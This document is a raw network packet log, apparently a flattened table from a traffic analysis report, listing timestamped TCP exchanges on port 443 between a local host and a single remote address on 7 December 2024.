                                                                                                                                                                  Dec 7, 2024 15:43:15.765799046 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.765836000 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.772434950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.772455931 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.772522926 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.772531033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.772578955 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.777215004 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.777256966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.777293921 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.777304888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.777322054 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.779031992 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.779112101 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.779119015 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.779166937 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.783828974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.783869028 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.783895969 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.783902884 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.783914089 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.834341049 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.930702925 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.930721998 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.930774927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.930783033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.930811882 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.930828094 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.937292099 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.937309980 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.937361956 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.937366962 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.937407017 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.944013119 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.944029093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.944087029 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.944092989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.944132090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.945177078 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.945235014 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.951703072 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.951719046 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.951780081 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.951785088 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.958043098 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.958062887 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.958127975 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.958133936 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.964654922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.964668989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.964737892 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.964744091 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.971544981 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.971564054 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.971604109 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:15.971610069 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:15.971622944 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.021898985 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.118774891 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.118798018 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.118905067 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.118927956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.118983030 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.124577045 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.124593973 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.124675035 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.124681950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.124723911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.131318092 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.131333113 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.131386995 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.131392956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.131424904 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.131432056 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.137186050 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.137202024 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.137264967 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.137271881 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.137307882 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.143924952 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.143944025 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.144001961 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.144015074 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.144053936 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.150166988 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.150185108 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.150243044 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.150258064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.150298119 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.156768084 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.156785011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.156846046 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.156852961 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.156891108 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.161715031 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.161761999 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.161780119 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.161791086 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.161811113 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.163567066 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.163619041 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.163625956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.163671970 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.168315887 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.168354034 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.168389082 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.168394089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.168409109 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.209336042 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.315031052 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.315048933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.315162897 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.315171957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.315215111 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.319859982 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.319900036 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.319936037 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.319943905 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.319972038 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.326503992 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.326519012 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.326575041 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.326581001 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.328316927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.328378916 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.328385115 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.328429937 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.329519033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.329574108 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.334223986 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.334264040 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.334287882 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.334291935 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.334328890 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.341376066 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.341391087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.341459036 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.341463089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.341502905 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.347173929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.347191095 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.347275972 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.347280979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.347331047 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.353858948 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.353874922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.353948116 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.353954077 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.353995085 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.355725050 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.355827093 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.503257036 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.503279924 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.503470898 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.503490925 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.503537893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.509426117 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.509440899 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.509504080 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.509510994 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.509551048 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.514125109 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.514163971 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.514190912 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.514194965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.514211893 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.517802000 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.517863989 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.517868996 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.520849943 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.520929098 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.520935059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.522736073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.522784948 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.522790909 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.522833109 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.528508902 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.528523922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.528584003 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.528590918 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.528631926 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.534843922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.534893036 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.534964085 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.534971952 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.535008907 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.542076111 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.542089939 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.542148113 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.542154074 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.542190075 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.548279047 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.548295975 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.548351049 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.548357010 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.548397064 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.552855015 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.552891970 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.552922010 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.552926064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.552947998 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.599984884 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.700391054 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.700412989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.700500965 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.700509071 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.700551033 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.706594944 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.706610918 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.706690073 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.706696033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.706744909 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.712855101 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.712869883 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.713048935 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.713054895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.713093996 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.719804049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.719820976 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.719882965 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.719887972 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.719928026 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.725816011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.725856066 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.725914001 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.725922108 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.725964069 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.732614040 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.732630014 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.732691050 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.732697010 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.732733965 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.738344908 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.738359928 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.738415003 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.738420963 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.738459110 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.745032072 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.745049953 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.745114088 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.745120049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.745157003 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.892720938 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.892741919 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.892838955 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.892849922 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.892894030 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.898454905 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.898469925 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.898545980 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.898551941 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.898582935 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.905139923 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.905154943 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.905251026 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.905256987 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.905294895 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.912061930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.912076950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.912137032 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.912142038 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.912179947 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.918076992 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.918092966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.918171883 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.918178082 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.918219090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.924803972 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.924822092 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.924881935 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.924887896 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.924926043 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.930563927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.930581093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.930644035 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.930650949 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.930692911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.932571888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.932638884 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.935431957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.935494900 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:16.935502052 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:16.935539007 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.082961082 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.082979918 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.083074093 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.083100080 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.083142042 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.089915991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.089936972 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.090019941 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.090025902 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.090090036 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.095494032 CET44349730172.66.0.235192.168.2.4
